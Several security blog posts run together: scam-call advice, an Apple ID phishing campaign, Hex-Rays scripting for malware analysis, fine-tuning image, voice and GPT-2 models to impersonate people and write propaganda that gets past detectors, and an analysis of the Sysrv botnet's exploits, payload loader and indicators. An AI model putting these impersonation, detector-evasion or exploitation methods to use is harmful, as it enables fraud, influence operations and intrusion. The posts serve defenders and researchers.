How to recognize scam calls We can’t discount the notion that scammers, always on the lookout for more-convincing hooks, might someday learn from fraud’s rich history of tells, but most scams exhibit at least one of several red flags.
If a call supposedly from a bank or government agency comes from a cell number, it’s almost certainly vishing.
Double those odds if the phone number is from a different region.
However, an official-looking number is no guarantee of a legitimate call; modern technologies allow caller ID spoofing .
If a caller tries to extract confidential information, especially in a threatening manner, that too is a sign of vishing.
In general, any attempt to find out private information is an indication of fraud: any information a real bank or tax office employee needs about you, they probably already have — remember, we’re talking about communication they initiated, not you.
If someone urges you to make a monetary transaction and cites a deadline, it’s definitely a scam.
If a caller tries to persuade you to install software on your computer to fix some problem they called to tell you about, it will probably end badly for you.
Finally, an indirect but still reliable sign of vishing is if the caller gets confused, misspeaks, is hostile, or uses slang expressions.
We have nothing against everyday speech, of course, but real operators are generally trained to use professional language.
How to guard against scam calls If you spot at least one of the above red flags, the best option is simply to end the conversation.
After that, call the company or organization that supposedly just called you and report the incident — the more information they collect, the more likely they are to catch, or at least hinder, the fraudsters.
Look up the tech or customer support number separately, for example by going to the organization’s official website.
In addition, resolutely avoid installing remote access programs on your computer, however convincing any caller may be, and use a reliable security solution that detects dangerous applications in good time and warns you about them.
In June 2016, we published a blog about a phishing campaign targeting the Apple IDs and passwords of Chinese Apple users that emerged in the first quarter of 2016 (referred to as the “Zycode” phishing campaign).
At FireEye Labs we have an automated system designed to proactively detect newly registered malicious domains and this system had observed some phishing domains that were designed to appear as legitimate Apple domains.
Most of the domains reported by this system were suspended in June 2016, which resulted in a loss of momentum for the Zycode phishing campaign.
Throughout the second quarter of 2016, the Zycode phishing campaign was in hibernation.
We recently observed a resurgence of the same phishing campaign when our systems detected roughly 90 phony Apple-like domains that were registered from July 2016 to September 2016.
Once again, Chinese Apple users are being targeted for their Apple IDs and passwords using the same content reported on in our earlier blog.
The majority of these domains are registered in the .com
TLD by email accounts from qq[.
]com, and the IPs of these domains point to mainland China, as seen in Figure 1.
Figure 1: Google map showing the location of the hosted phishing domains What has not Changed?
The attackers have not changed the content of the phishing sites.
The obfuscated JavaScript used in the earlier version is once again being used here in this campaign.
We have provided the details of JavaScript and screenshots of interaction with the website in our earlier blog .
What has Changed?
Apparently the domains and email addresses used in previous version of the campaign were effectively taken down.
Now the attackers have moved to a new malicious infrastructure; new domains, IPs and email addresses are being used for this campaign.
The new domain names for the campaign are listed in Table 1, while their IPs and registrant emails are reported in Table 2 and Table 3, respectively.
Domains List Table 1:
Apple phishing domains serving the Zycode phishing kit.
Unique IP(s)
Table 2 shows the list of unique IPs, which are not the same as what was seen before.
Table 2.
IP addresses used by the domains.
Unique Email Addresses The email addresses used to register these domains, showing no similarity with email addresses in the previous campaign, are shown in Table 3.
Table 3.
List of unique registrant emails.
Unique Registrants Table 4 shows the registrant names, which have no similarity with the previous registrant name information.
Table 4.
List of registrant names used by the phishing domains.
How to Avoid Being a Victim Apple provides information on phishing here and here , and on iCloud security here .
There are simple ways for a user to be more secure against this and similar attacks.
The following are a few tips: Enable two-factor authentication for Apple ID .
Always check the address bar for the correct web address.
Avoid clicking links in emails and SMS messages that supposedly direct to iCloud pages.
Use our FireEye EX appliance , which provides effective detection for the Zycode phishing campaign.
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Introduction IDA Pro is the de facto standard when it comes to binary reverse engineering.
Besides being a great disassembler and debugger, it is possible to extend it and include a powerful decompiler by purchasing an additional license from Hex-Rays.
The ability to switch between disassembled and decompiled code can greatly reduce the analysis time.
The decompiler (from now on referred to as Hex-Rays ) has been around for a long time and has achieved a good level of maturity.
However, there seems to be a lack of a concise and complete resources regarding this topic (tutorials or otherwise).
In this blog, we aim to close that gap by showcasing examples where scripting Hex-Rays goes a long way.
Overview of a Decompiler In order to understand how the decompiler works, it’s helpful to first review the normal compilation process.
Compilation and decompilation center around the concept of an Abstract Syntax Tree (AST) .
In essence, a compiler takes the source code, splits it into tokens according to a grammar, then these tokens are grouped into logical expressions.
In this phase of the compilation process, referred to as parsing, the code structure is represented as a complex object, the AST.
From the AST, the compiler will produce assembly code for the specified platform.
A decompiler takes the opposite route.
From the given assembly code, it works back to produce an AST, and from this to produce pseudocode.
From all the intermediate steps between code and assembly, we are stressing the AST so much because most of the time you will spend using the Hex-Rays API, you will actually be reading and/or modifying the Abstract Syntax Tree (or ctree in Hex-Rays terminology).
Items, Expressions and Statements Now we know that Hex-Rays’s ctree is a tree-like data structure.
The nodes of this tree are either of type cinsn_t or cexpr_t .
We will define these in a moment, but for now it is important to know that both derive from a very basic type, namely the citem_t type, as seen in the following code snippet:
Therefore, all nodes in the ctree will have the op property, which indicates the node type (variable, number, logical expression, etc.
).
The type of op (ctype_t) is an enumeration where all constants are named either cit_<xyz> (for statements) or cot_<xyz> (for expressions).
Keep this in mind, as it will be very important.
A quick way to inspect all ctype_t constants and their values is to execute the following code snippet:
This produces the following output: Let’s dive a bit deeper and explain the two types of nodes: expressions and statements.
It is useful to think about expressions as the “the little logical elements” of your code.
They range from simple types such as variables, strings or numerical constants, to small code constructs (assignments, comparisons, additions, logical operations, array indexing, etc.
).
These are of type cexpr_t , a large structure containing several members.
The members that can be accessed depend on its op value.
For example, the member n to obtain the numeric value only makes sense when dealing with constants.
On the other side, we have statements .
These correlate roughly to language keywords (if, for, do, while, return, etc.)
Most of them are related to control flow and can be thought as “the big picture elements” of your code.
Recapitulating, we have seen how the decompiler exposes this tree-like structure (the ctree ), which consists of two types of nodes: expressions and statements.
In order to extract information from or modify the decompiled code, we have to interact with the ctree nodes via methods dependent on the node type.
However, the following question arises: “How do we reach the nodes?”
This is done via a class exposed by Hex-Rays: the tree visitor ( ctree_visitor_t ).
This class has two virtual methods, visit_insn and visit_expr , that are executed when a statement or expression is found while traversing the ctree.
We can create our own visitor classes by inheriting from this one and overloading the corresponding methods.
Example Scripts
In this section, we will use the Hex-Rays API to solve two real-world problems: Identify calls to GetProcAddress to dynamically resolve Windows APIs, assigning the resulting address to a global variable.
Display assignments related to stack strings as characters instead of numbers, for easier readability.
GetProcAddress The first example we will walk through is how to automatically handle renaming global variables that have been dynamically resolved at run time.
This is a common technique malware uses to hide its capabilities from static analysis tools.
An example of dynamically resolving global variables using GetProcAddress is shown in Figure 1.
Figure 1: Dynamic API resolution using GetProcAddress There are several ways to rename the global variables, with the simplest being manual copy and paste.
However, this task is very repetitive and can be scripted using the Hex-Rays API.
In order to write any Hex-Rays script, it is important to first visualize the ctree.
The Hex-Rays SDK includes a sample, sample5, which can be used to view the current function’s ctree.
The amount of data shown in a ctree for a function can be overwhelming.
A modified version of the sample was used to produce a picture of a sub-ctree for the function shown in Figure 1.
The sub-ctree for the single expression: 'dword_1000B2D8 =
(int)GetProcAdress(v0, \"CreateThread\");' is shown in Figure 2.
Figure 2:
Sub-ctree for GetProcAddress assignment With knowledge of the sub-ctree in use, we can write a script to automatically rename all the global variables that are being assigned using this method.
The code to automatically rename all the local variables is shown in Figure 3.
The code works by traversing the ctree looking for calls to the GetProcAddress function.
Once found, the code takes the name of the function being resolved and finds the global variable that is being set.
The code then uses the IDA MakeName API to rename the address to the correct function.
Figure 3:
Function renaming global variables After the script has been executed, we can see in Figure 4 that all the global variables have been renamed to the appropriate function name.
Figure 4: Global variables renamed Stack Strings
Our next example is a typical issue when dealing with malware: stack strings .
This is a technique aimed to make the analysis harder by using arrays of characters instead of strings in the code.
An example can be seen in Figure 5; the malware stores each character’s ASCII value in the stack and then references it in the call to sprintf .
At a first glance, it’s very difficult to say what is the meaning of this string (unless of course, you know the ASCII table by heart).
Figure 5: Hex-Rays decompiler output.
Stack strings are difficult to read.
Our script will modify these assignments to something more readable.
The important part of our code is the ctree visitor mentioned earlier, which is shown in Figure 6.
Figure 6:
Custom ctree visitor The logic implemented here is pretty straightforward.
We define our subclass of a ctree visitor (line 1) and override its visit_expr method.
This will only kick in when an assignment is found (line 9).
Another condition to be met is that the left side of the assignment is a variable and the right side a number (line 15).
Moreover, the numeric value must be in the readable ASCII range (lines 20 and 21).
Once this kind of expression is found, we will change the type of the right side from a number to a string (lines 26 to 31), and replace its numerical value by the corresponding ASCII character (line 32).
The modified pseudocode after running this script is shown in Figure 7.
Figure 7: Assigned values shown as characters You can find the complete scripts in our FLARE GitHub repository under decompiler scripts Conclusion These two admittedly simple examples should be able to give you an idea of the power of IDA’s decompiler API.
In this post we have covered the foundations of all decompiler scripts: the ctree object, a structure composed by expressions and statements representing every element of the code as well the relationships between them.
By creating a custom visitor we have shown how to traverse the tree and read or modify the code elements, therefore analyzing or modifying the pseudocode.
Hopefully, this post will motivate you to start writing your own scripts.
This is only the beginning!
Do you want to learn more about these tools and techniques from FLARE?
Then you should take one of our Black Hat classes in Las Vegas this summer!
Our offerings include Malware Analysis Crash Course , macOS Malware for Reverse Engineers , and Malware Analysis Master Class .
References Although written in 2009, one of the best references is still the original article on the Hex-Rays blog .
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FireEye’s Data Science and Information Operations Analysis teams released this blog post to coincide with our Black Hat USA 2020 Briefing , which details how open source, pre-trained neural networks can be leveraged to generate synthetic media for malicious purposes.
To summarize our presentation, we first demonstrate three successive proof of concepts for how machine learning models can be fine-tuned in order to generate customizable synthetic media in the text, image, and audio domains.
Next, we illustrate examples in which synthetically generated media have been weaponized for information operations (IO), as detected on the front lines by Mandiant Threat Intelligence.
Finally, we outline challenges in detecting synthetically generated content, and lay out potential paths forward in a future where synthetically generated media will increasingly look, speak, and write like us.
Highlights Open source, pre-trained natural language processing, computer vision, and speech recognition neural networks can be weaponized for offensive social media-driven IO campaigns.
Detection, attribution, and response is challenging in scenarios where actors can anonymously generate and distribute credible fake content using proprietary training datasets.
The security community can and should help AI researchers, policy makers, and other stakeholders mitigate the harmful use of open source models.
Background: Synthetic Media, Generative Models, and Transfer Learning Synthetic media is by no means a new development; methods for manipulating media for specific agendas are as old as the media themselves.
In the 1930’s, the chief of the Soviet secret police was photographed walking alongside Joseph Stalin before being retouched out of an official press photo, after he himself was arrested and executed during the Great Purge .
Digital graphic manipulation like this became prominent with the advent of Photoshop.
Then later in the 2010’s, the term “deepfake” was coined.
While deepfake videos, including techniques like face swapping and lip syncing, are concerning in the long term, this blog post focuses on more basic, but we argue more believable, synthetic media generation advancements in the text, static image, and audio domains.
Machine learning approaches for creating synthetic media are underpinned by generative models, which have been effectively misused to fabricate high volume submissions to federal public comment websites and clone a voice to trick an executive into handing over $240,000 .
The pre-training required to produce models capable of synthetic media generation can cost thousands of dollars, take weeks or months of time, and require access to expensive GPU clusters.
However, the application of transfer learning can drastically reduce the amount of time and effort involved.
In transfer learning, we start from a large generic model that has been pre-trained for an initial task where copious data is available.
We then leverage the model’s acquired knowledge to train it further on a different, smaller dataset so that it excels at a subsequent, related task.
This process of training the model further is referred to as fine-tuning , which typically requires less resources compared to pre-training from scratch.
You can think of this in more relatable terms—if you’re a professional tennis player, you don’t need to completely relearn how to swing a racket in order to excel at badminton.
In practice though, the benefits of transfer learning are only\nrealized when people share their pre-trained models.
As illustrated by\nFigure 1, it turns out that it’s commonplace for well-resourced\nindustry and academic researchers to release their model checkpoints\nwhen their state of the art (SOTA) work gets accepted into a top-tier\nconference.
Code is typically released in the form of GitHub\nrepositories with extensive HOWTO guides and well-documented READMEs.\nThis allows anyone to easily reproduce figures from the initial\npapers, and potentially use this source code as a starting point for\ntheir own research or projects.
This process plays out on loop,\nensuring a healthy, self-reinforcing model supply chain and ultimately\na quicker pace of scientific innovation.
However, while this emergent\nmodel sharing ecosystem beneficially lowers the barrier to entry for\nnon-experts, it also gives a leg up to those seeking to leverage open\nsource models for malicious purposes.
Just how much has this barrier to entry been lowered though?\nFine-tuning can be performed in a fraction of the time, cost, data\nsize, and compute compared to training models from scratch.
Whether\nit's a cloud hosted notebook with GPU access, or a cloud GPU instance\nreservation for just a single day, we're talking on the order of just\ntens of dollars to fine-tune one of these models.
Skill-wise,\nfine-tuning is not necessarily trivial, but it’s also not “brain\nsurgery”—authors or other open source contributors often release\nadditional code and tutorials for how to fine-tune.
The pre-trained models covered here were each released just within\nthe last year, so the demonstrations in the next section should be\nseen through the lens of the present moment in time.
However, open\nsource releases are accelerating, and the bar for generating credible\nsynthetic content will likely lower even further in the years to come.
See No Evil As a first proof of concept, we’ll demonstrate how StyleGAN2 can be\nfine-tuned in order to generate custom portraits to impersonate a\ntarget individual.
StyleGAN2, like its\npredecessor StyleGAN, is architected as a generative adversarial\nneural network (or GAN) .
GANs consist of 2 underlying networks\nthat are pitted against each other (hence “adversarial”)
- a\ngenerator, which generates new instances of data, and a discriminator,\nwhich evaluates these instances for authenticity by deciding whether\neach one belongs to the actual training dataset or not.
If you\ngenerate images from pre-trained StyleGAN2 off-the-shelf, it outputs random,\nhigh quality, and highly diverse images that appear in a similar\norientation as the images that it was pre-trained on .
These\nimages are not present in StyleGAN2’s original training set, but are\ncompletely fabricated from the generative model—these people in fact\ndo not exist, and never have.
StyleGAN2 can also be fine-tuned on private datasets to generate\noutputs for custom tasks that the user of the open source model can\ncontrol.
As illustrated in Figure 2, we downloaded a few hundred\nimages of Tom Hanks from online image search services, cropped them so\nthat they were each face-centered and 512x512 pixels as required by\nthe pre-trained model, and simply continued training StyleGAN2 by\npointing it at this new smaller dataset using a slightly smaller\nlearning rate.
After less than a day of fine-tuning on a single GPU,\nwe then used the fine-tuned StyleGAN2 model to generate arbitrarily\nmany fake images of Mr. Hanks, which exhibit a high level of\nresemblance to his authentic online images.
In theory, we could\ncollect cropped images from any target of our choosing and perform the\nsame exercise to generate arbitrarily many fake images of them.
Hear No Evil As a second proof of concept, we’ll switch to the audio domain where\nwe demonstrate how SV2TTS can be fine-tuned on audio samples in order\nto impersonate the voice of a target individual.
SV2TTS is a complex,\n3-stage model that can perform Voice Cloning —or text-to-speech from arbitrary text inputs to captured reference\nspeech in real time.
SV2TTS is comprised of three underlying neural\nnetworks – first, the speaker encoder is trained on thousands of\nspeakers in order to learn an abstract representation of human speech\nand squeeze it into a compressed embedding of floating point
values.\nThen the Synthesizer, which\nis based on Google’s TacoTron2 , takes text as input and returns\na mel spectrogram , a\nnumerical representation of an individual’s voice.
Lastly, the\nvocoder, based\non DeepMind’s WaveNet , takes the mel spectrogram and converts it\ninto an output waveform that can be heard and comprehended.
While pre-trained SV2TTS can be used to generate speech using\narbitrary text from one of a few hundred or so voices, as shown in\nFigure 3 it can also be fine-tuned to generate speech in an\narbitrary voice using arbitrary text.
All we need to do is\ncollect some audio samples, which are freely available to record via\nthe Internet, load up a few of the resulting M4A files into the\npre-trained SV2TTS model, and use it as a feature extractor to\nsynthesize new speech waveforms.
Using Mr. Hanks again as an example,\nwe demonstrate the result of this process on a few pieces of input\ntext that were chosen by us to resemble cell-phone quality commentary\nthat is thematically representative of the types of narratives we see\npushed in IO campaigns.
While the specific examples here are somewhat\nrobotic and show signs of inauthenticity, the timbre of the voice is\n(in our subjective view) similar to that of Mr. Hanks.
Neither the\ntext nor the voices exist in any of the original SVT2TTS training\ndatasets.
It's worth noting that we didn’t even need a GPU to do this\n– the pre-trained model was fine-tuned locally using a basic laptop’s\nCPU cores, which also suggests that quality improvements are possible\nwith greater resourcing.
Speak No Evil Our last proof of concept is in the text domain, where we\ndemonstrate how GPT-2 can be fine-tuned in order to generate custom\nsocial media posts reflecting narratives pushed in a social media IO\ncampaign.
GPT-2 is an open source\nneural network that was trained on the causal language modeling\ntask , whose objective is to predict the next word in a sentence\nfrom previous context.
A pre-trained model ends up being capable of\nlanguage generation: if the model can predict the next word\naccurately, it can be used in turn to predict the following word, and\nthen so on and so forth until eventually, the model produces fully\ncoherent sentences and paragraphs.
The pre-trained GPT-2 model’s outputs display relatively formal\ngrammar, punctuation, and structure that corresponds to the text\npresent within their original prosaic dataset.
To make GPT-2's\ngenerations appear more like posts we might expect to encounter\nscrolling through social media, with their shorter length, informal\ngrammar, erratic punctuation, and syntactic quirks, we fine-tuned it\non a new language modeling task using additional training data.
This\ndata consisted of open source social media posts from accounts\noperated by Russia’s famed Internet Research Agency or IRA “troll\nfactory.”
We fine-tuned GPT-2 on a single GPU for a few hours by processing\nthese social media posts through the pre-trained model , whose\nactivations were then fed through adjustable weights into a linear\noutput layer.
The resulting fake posts are short yet biting, express\noutrage regarding political issues, and contain idiosyncrasies like\nhashtags and emojis that positionally manifest at the end of the\ngenerated text.
Synthetic Media in the Wild IO actors use various tactics that would be readily conducive to\nsynthetic media augmentation.
For example, one influence campaign we\nuncovered and dubbed \"Distinguished\nImpersonator\" involves falsifying journalist personas and\nreaching out to real-world experts and political figures to\ndisingenuously solicit audio and video interviews that advance an\nIranian political agenda.
Another commonly used tactic is the\ndevelopment of cross-platform online personas that are used to\ninfiltrate target groups or disseminate fabricated content to specific\naudiences, such as in the \"Ghostwriter\"\ncampaign that has leveraged website compromises and used multiple\nwell-developed personas to disseminate fabricated content\naligned with Russian security interests.
And other very common\ntechniques include the use of appropriated photos of real individuals\nto backstop false personas, and the repeated use of identical text on\nsocial media to \"astroturf\" political commentary.
Synthetic\nmedia has real potential to exacerbate the use and effectiveness
of\nsuch tactics.
Indeed, we already frequently uncover false personas and networks of\ninauthentic social media accounts using artificially generated profile\nphotos, and this use is widespread.
For example, we’ve uncovered large\nnetworks of inauthentic social media accounts pushing pro-China\nnarratives surrounding the Hong Kong democracy protests and the\nCOVID-19 pandemic making significant use of artificially generated\nphotos.
We identified inauthentic accounts using synthetic profile\nphotos in a recent operation that appeared designed to support\ngovernment officials in a region of Argentina.
And in a social\nmedia-driven influence operation that promoted pro-Cuban government\nand anti-US narratives, the operators behind one network of\ninauthentic accounts didn’t even bother to fully crop out the text box\nplaced by the “thispersondoesnotexist” image generation tool stating\nthat the images were generated with StyleGAN2, prior to use.
The\nexamples of artificially generated images we’ve seen actively used in\nIO campaigns presented in Figure 5 illustrate a common format\nobserved, including closely cropped headshots with blurred\nbackgrounds, anomalies around the ears, neck, and shoulders,\ndifficulties with fully rendering accessories such as glasses and\nearrings, and phantom hair strings being generated outside a credible\narea.
But we can readily envision an escalation of this tactic, in which\nconvincing personas are created using artificially generated profile\nphotos trained on images of real people from a target group or\ngeography that correspond to, say, a particular minority group, and\nare then used to instigate political conflict or incite animosity and\nviolence.
The use of synthetically generated audio interviews in a\ncampaign  resembling Distinguished Impersonator trained on a real\npolitical expert’s voice, would lower an actor’s burden by removing\nthe need to convincingly engage in direct outreach to real people,\nwhich would also make attribution more difficult for investigators by\nreducing available investigative leads such as contact details and\nmodes of communication between actor and target.
And synthetic media\nwould drastically lower barriers for actors seeking to disseminate\ndiverse text-based content at scale, reducing the effort required to\ncreate a large corpus of written content and the need to repeatedly\nreuse snippets of identical text.
Evading Detection Synthetic media doesn’t need to be overwhelmingly credible to\nhave its desired effect.
People are used to consuming short,\nauthoritative, error-riddled social media text at speed without\ndwelling too much on its linguistic features or origin.
Users are\naccustomed to consuming poor-quality audio and video snippets, and the\nmajority of users aren’t going to give a social media account’s\nprofile image more than a cursory glance as they scroll through their\nfeed and ingest written content at rapid speed.
The quality bar does\nnot need to be exceedingly high when it comes to synthetic\ngenerations; it only needs to be “good enough” for even just a subset\nof vocal users to not question it in a world characterized by rapid,\nhigh-volume information consumption.
The unifying theme behind the various potential IO applications\ndiscussed in the previous section is that they would materially help\nthreat actors scale campaigns at low cost and better evade\ndetection.
Fine-tuning in particular presents a problem for blue\nteams, as it allows threat actors to better evade classifiers and\ndetection models that are built for pre-trained outputs.
This is\nworrisome as a would-be threat actor’s fine-tuning datasets would\nlikely be private and unknown to the defender at test time.
This\nconcept is illustrated by the text-based detection experiments we\nconducted in Figure 6.
After releasing GPT-2, OpenAI\nreleased source code along with a fine-tuned classifier based on\nRoBERTa , which does not share the same architecture or tokenizer\nas GPT-2, that can reliably discriminate between GPT-2's own output\ngenerations and its original pre-training data of high-Karma Reddit posts.
We used this RoBERTa model first to verify the findings that one can reliably differentiate\nbetween fabricated, GPT-2 generated text and the authentic GPT-2\npre-training dataset.
When we performed the same exercise using the\nclassifier to try to differentiate our fine-tuned IO text generations\n(i.e.
those previously discussed in Figure 4), the accuracy\nsignificantly dropped.
The fact that the pre-trained score\ndistribution is skewed towards 1 means the detection model for\npre-trained generations, with a classification threshold of 0.5, can\neasily classify the generations as “fake.”
This results in an accuracy\nscore of over 97% for the detection model, as shown in blue in Figure\n6.
However, detection accuracy dipped to around 78% for fine-tuned\ngenerations as the distribution of scores output by the classifier\nshifts closer to chance, as shown in red.
So if threat actors were to\nfine-tune on a custom dataset they themselves collated, this could\npresent a problematic asymmetry between the data used to create the\nsynthetic generations and the data blue teams would have access to—or\neven knowledge of—with which to build a commensurate detection model.
Text with shorter length\nwas previously shown to be more difficult for detection models to\nclassify , and while our tweet-inspired experiments corroborate\nthis finding, further research is required to disentangle how\ndifferent datasets, model complexities, input lengths, and\nhyperparameters will contribute to this effect in the cat-and-mouse\nfuture of generators versus detectors.
Conclusion Synthetic media generation continues to become cheaper, both\nmonetarily and in terms of the computing power required, easier, more\npervasive, and their outputs ever more credible.
Image generation\ncapabilities and even commercial services are already moving beyond\nmerely headshots and facial generations to full-body shots and\nadvanced video generations, and end users will enjoy increasing\ncontrol over and ease of content generation, both through being able\nto steer generations towards particular attributes at more granular\nlevels, and by being able to use an increasing amount of both free and\ncommercial low-code or no-code applications for content creation.
This blog post highlights the need for the research community to\ncontinue to focus attention on the development of technical detection\nand mitigation capabilities for synthetic media, given its ready\napplicability to current information operations tactics.
Multiple\navenues of research can and should be pursued, including statistical\napproaches to detection like machine\nlearning classifiers and model\nwatermarking , as well as the signature-based identification of\nfingerprints and forensic indicators (e.g.
Figure 5).
Secondly,\nthere’s the human aspect to all of this, including the importance of\nensuring communities of researchers from different disciplines\ncoalesce around approaches to overcoming the detection challenges,\nthreat modeling how synthetic media may be deployed in future IO\ncampaigns so that any potential effects can be pre-emptively\naddressed, and encouraging commercial providers of synthetic media\ngeneration capabilities to acknowledge and account for the potential\nabuse of their services by threat actors.
Outside of community\nefforts, there also remains the need for raising awareness and\neducating consumers of social media and other content about the risks\nof synthetic media in a responsible manner that doesn’t misrepresent\nthe threat, as well developing legal and regulatory approaches to\ndealing with information operations and synthetic media.
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On March 4, 2021, Juniper Threat Labs identified a surge of activity of the Sysrv botnet.
The botnet spread itself into Windows and Linux systems by exploiting multiple vulnerabilities, which we will cover in this blog.
The threat actor’s objective is to install a Monero cryptominer.
The attack remains active.
Here’s what we’ve seen so far.
Sysrv Botnet Development Juniper Threat Labs monitored the Sysrv botnet since December of 2020.
At that time, it used two mining pools, minexmr and f2pool .
It also used multi-component malware wherein the worm binary is installed as sysrv ( sysrv.exe on Windows) and the miner binary as network01 (network01.exe on Windows).
In February 2021, we saw the botnet remove the minexmr mining pool and only use f2pool.
Then, in March 2021, Juniper Threat Labs noticed a significant uptick in activity, as recorded by our sensors.
In addition to incorporating more exploits, the botnet now combines the worm and the miner into a single binary.
Our researchers believe the threat actor will have better control and management with a single binary as the binary is constantly updated.
Sysrv also added nanopool as a new mining pool.
We also identified new development in the loader script where it tries to add ssh keys to infected system.
We believe this is a way for the threat actor to gain more persistence and may lead to more sophisticated attacks.
Ldr.sh started adding its keys for maintaining persistence Bundled Exploits Based on our findings, the attack surged on March 4, 2021 and we identified six vulnerabilities actively exploited with a payload, including: Mongo Express RCE (CVE-2019-10758)
XXL-JOB Unauth RCE XML-RPC (CVE-2017-11610)
CVE-2020-16846 (Saltstack RCE)
ThinkPHP RCE CVE-2018-7600 (Drupal Ajax RCE)
Sysrv botnet attacks from Juniper’s sensors Mongo-Express RCE (CVE-2019-10758)
The attack we’ve seen so far specifically targets port 8081, which affects a web based MongoDB admin interface known as “Mongo-Express”.
Mongo-Express is a web-based admin interface used to manage MongoDB databases.
Exploiting this interface could allow the attacker to gain access to the MongoDB databases.
As of this writing, there are 847 public IPs in Shodan.io that are hosting this service.
XXL-JOB Unauth RCE
This attack targets vulnerability in XXL-Job, a lightweight distributed task scheduling framework.
It allows users to schedule tasks like cron jobs via a web interface.
According to the authors, this framework has been adopted by many companies in China.
From Shodan, we’ve enumerated 35 public IPs with this service, almost all of them in China.
xxl-job unauth rce attack XML-RPC (CVE-2017-11610)
This vulnerability affects “Supervisor”, a web interface to manage processes on UNIX systems.
A specially crafted XML-RPC request could allow code execution on a vulnerable server.
Saltstack RCE (CVE-2020-16846)
This vulnerability affects systems running Salt-API, an interface on top of Salt that provides multiple entry points to the Salt system.
“This CVE affects any users running the Salt API.
An unauthenticated user with network access to the Salt API can use shell injections to run code on the Salt-API using the SSH client.”
-https://saltproject.io/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/ ThinkPHP RCE ThinkPHP is another PHP framework that is widely exploited by Sysrv.
A quick search on Shodan shows there are more than 35,000 public IPs deploying this service.
Most of them are in China.
Drupal Ajax RCE (CVE-2018-7600)
This vulnerability, aka “Drupalgeddon”, affects Drupal, a widely used CMS similar to WordPress.
This vulnerability is relatively old but we still see many threat actors using this vulnerability.
Sysrv Botnet Payload When a system is infected and becomes a bot, the bot has two functions.
The first is to spread and infect more bots and the second is to mine for Monero cryptocurrency.
A bot spreads itself by attacking random public IPs using the exploits we have listed above.
The exploit’s payload is to download a loader script from a hard-coded IP or domain via wget, curl or powershell.
The name of the script is either ldr.sh or ldr.ps1.
The loader script will then download the worm and miner binary from an IP hardcoded on the loader script.
The binary payload has a Linux and Windows version.
It is a 64-bit Go binary which is then packed with UPX.
Linux binary found on Virustotal Windows binary found on Virustotal Cryptomining Worm The cryptomining worm spreads by scanning vulnerable systems on the internet.
It uses multiple exploits we have listed above.
Based on the binaries we have seen and the time when we have seen them, we found that the threat actor is constantly updating its exploit arsenal.
The latest addition includes an exploit targeting Laravel software, an open-source PHP web framework.
sysrv malware main routine Inside the binary, we found the exploits it used to spread.
Exploits include: Exploit Software CVE-2021-3129 Laravel CVE-2020-14882 Oracle Weblogic CVE-2019-3396 Widget Connector macro in Atlassian Confluence Server CVE-2019-10758 Mongo Express CVE-2019-0193 Apache Solr CVE-2017-9841 PHPUnit CVE-2017-12149 Jboss Application Server CVE-2017-11610 Supervisor (XML-RPC)
Apache Hadoop Unauthenticated Command Execution via YARN
ResourceManager (No CVE) Apache Hadoop Brute force Jenkins Jenkins Jupyter Notebook Command Execution (No CVE)
Jupyter Notebook Server CVE-2019-7238 Sonatype Nexus Repository Manager Tomcat Manager Unauth Upload Command Execution (No CVE) Tomcat Manager WordPress Bruteforce WordPress XMRig
Miner
The second component of the payload is a cryptominer that mines Monero.
In the early malware samples, the miner is in a separate binary.
In later samples, the miner component is merged with the worm into a single binary.
The miner is a version of XMRig which mines for the following mining pools: Xmr-eu1.nanopool.org:14444 f2pool.com:13531 minexmr.com:5555 As of poolwatch.io, these pools are three of the top four Monero mining pools.
Combined together, they almost have 50% of the network hash rate.
The threat actor’s criteria appears to be top mining pools with high reward rates.
top monero mining pools The profit from mining is saved into the following wallet address: 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa How profitable is this miner?
Looking at Nanopool, this wallet gained 8 XMR (~1,700 USD) from March 1 to March 28.
It appears to be ramping up recently at a pace of 1 XMR per 2 days.
source: https://xmr.nanopool.org/account/49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa From f2pool, this wallet gained 10XMR from December 2020 to March 2021 (2,000 USD).
source: https://www.f2pool.com/xmr/49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa Mitigation Juniper Advanced Threat Protection (ATP) Cloud detects the binary payloads as follows.
ATP Cloud detection of Linux Binary ATP Cloud detection of Windows binary Indicators of Compromise Sha256, ip, URL, domain Type 8223164dd8e2c7d6b2f0da63639186564335ba6a1bfc11cf31493d5c48f3abaf linux binary 9b2023a0e22f22860a7a46a67c9eba2c4831db66244603fd961fbb5c38b55272 linux binary ba46915f06d99c4dbb9d07767a86e979893f46333a8a93fce6e040452dfc1155 linux binary 3ea2df69b99f78fc0768ecf8190293f2b277b6de6e7b8e668f40b8a4910df17c linux binary 2d5de0dfa05c2a2649a4537b3f935f3ab2c029eeb3a07ab33592611388c845aa linux binary d42090b274d285e759de296239bd7b8e5d97270b2d2ae189aed80e68ba82b591 linux binary e627aff93c1e095786b5a5248425ec62c1ea8b049d487cfa6e9cfdf2a0ddbd7b linux binary bf2c450d4d3519de51fbd31def04a0e6786e13a568ddefcaa62d812cc72ffc4c linux binary 1dd2c66843fcf5512b4dda518c2d5010edf06ab701f0380777b1b305ce9c98b0 linux binary a999d7f95af4084b1e4276ee329e9b466c4d88a14cfc87007587d18a4a6c9f8a linux binary 7a546057a47ee02f6436e51d6d61f1b63c525307f9b5076a8edfe2cf4ae68769 linux binary 6750e584ad0c21588e0add09c6ebe0cc9affe1673ac848b1761359170cf08bb7 linux binary 5f5d599d4d0f9149440a6f813c6db3759d4fdbf7abe991c3af3aa59dc8c4027f linux binary 72483800c412e2204731b12c9d8fff1bc84f7af8f0b258299bb4f091a57ab23a linux binary 9c9b7da616239290db831a9305e1a46d45c112c761deaea5ed4c36aea7433891 linux binary beaa0639a67f7fc7937a100f01a550ecb8c8b608251f4d02a97d9a0a15de1304 linux binary 7ff5f2b3145d1e54a84f5bcc13ae6838baac2d6c20951d19608166833753d96f linux binary 1c91ed47c3c0baa74fa15c9b02330701dd02fc1e9b44963e1fe9a650ef7b78ef linux binary 296d3d3ed5feeda7f6d99adc9da2566cb6c460194066acccac941a7b09bedfc3 linux binary 848ed7e90c767e7ab2b1a93f9b8ca9c41eb02c3c76bf8b7dfd806fe26c1f431e linux binary 